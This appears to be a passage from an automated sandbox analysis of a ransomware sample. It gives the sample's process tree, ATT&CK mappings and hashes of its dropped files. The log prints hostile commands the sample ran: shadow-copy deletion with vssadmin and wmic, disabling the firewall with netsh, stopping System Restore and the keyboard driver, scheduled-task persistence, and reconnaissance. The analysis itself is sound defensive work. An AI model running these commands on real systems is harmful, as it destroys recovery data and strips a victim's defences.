- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5988
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1600
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1920
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:924
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3048
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3008
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3020
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5876 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:6128
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2464
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1596
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5052
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3040
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1116
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1884
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2064
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:3184
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a23855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4788
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:692
-
C:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exeC:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exe1⤵PID:756
-
C:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exeC:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exe1⤵PID:1936
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:4724
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 3398344ce406d139c23477a2422c1c3e03d840e7a61b2db684a0fe412c2757b5
- MD5 6ad6b648707101645bd9145a5f9b5432
- SHA1 1d31422726d10b189401b4c23ec3c8a89290f781
- SHA512 f0d8eb9c73196156c8874092340c966adb9d9a3516a3b323ee2807f0f7a0eb40371f7fa2ee45b9430927433dbb4f6b3133c10a61f55f51194ec7d923f820677f
- SSDEEP 1536:s2Rveo0zwn1+7cRMa3EJtdLaH5EVO5IWoXvcCsRSk94h0d8E1Hoeb:sgvQzwnA81EBOZMXUtfd8E1Hd
- TLSH T1B9632A774A23FCC5677F3D40F1643D860C883A278770A66CFBC50A9539A6584EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 ee2adc3a7a502feed95591ee348f42bf852f1cac881d74fc5ef76f4e96df97e8
- MD5 b89b6d113ebc44c96931e63bb6c2d02f
- SHA1 ff76aa56cf78a91760fe68e36ff313d9399423ad
- SHA512 ba2231b6ac3f6136c8577c7a212e4f29ba0ce674ee1cf8e75f6c065004b84af4a7a98176590d7c59564133b64475c8253f519fea8d4ccd2d0856802bcb1d8a97
- SSDEEP 1536:M2Rveo0zwn1+7cRMa3EJtdLaH5EVO5IWoXvcCsRSk94h0d8E1HoeS:MgvQzwnA81EBOZMXUtfd8E1Hc
- TLSH T10A6329778A23FCC5677F3D40F1642C860C883A2B8770A66CFFC50A9539A6584DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 247B
- SHA256 8983b27171315ff711fa29692fc70e663baa8f78faca06ba3abd49cb92f5a7ee
- MD5 b2bc25de676f335604e526c89fb1511c
- SHA1 6b3921baa9521e505a7a46bb7ce8f76c9082fc58
- SHA512 5a4f245d29a7645032cfff62f5e87c2be45d4c1b030ac4d72520018c113cf8e9c5f65a4247e53a509a04da53f903091099354ca07405fdd438a3dd21ca7019fc
- TLSH T128D0978BB14CC2A90000223B80F38E8CF5A14C283B17BE704AA0CC4E328088089F2543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 248B
- SHA256 9ec9837fc7f25650a8be0f3c79f0a1061247f5dc2020369f0f6919837a43cbeb
- MD5 be78af96b52b391758fb6e68df40cf53
- SHA1 25727ca6fb49e8e4f3048e70c5af5cf9f5663672
- SHA512 5bfdff0a07d176c18f79a90521c38663081aab9cb410547f183737464eed7e0271893be7ef2709c4adb97569543ff02ddf9c114a27eaa71c5bd8705889ed0314
- TLSH T199D0A7CBB14DC6A90101627F80F38E8CF6E24D683B27BE719A65DD4E728089589F6543
- MD5 SHA1 SHA512 TLSH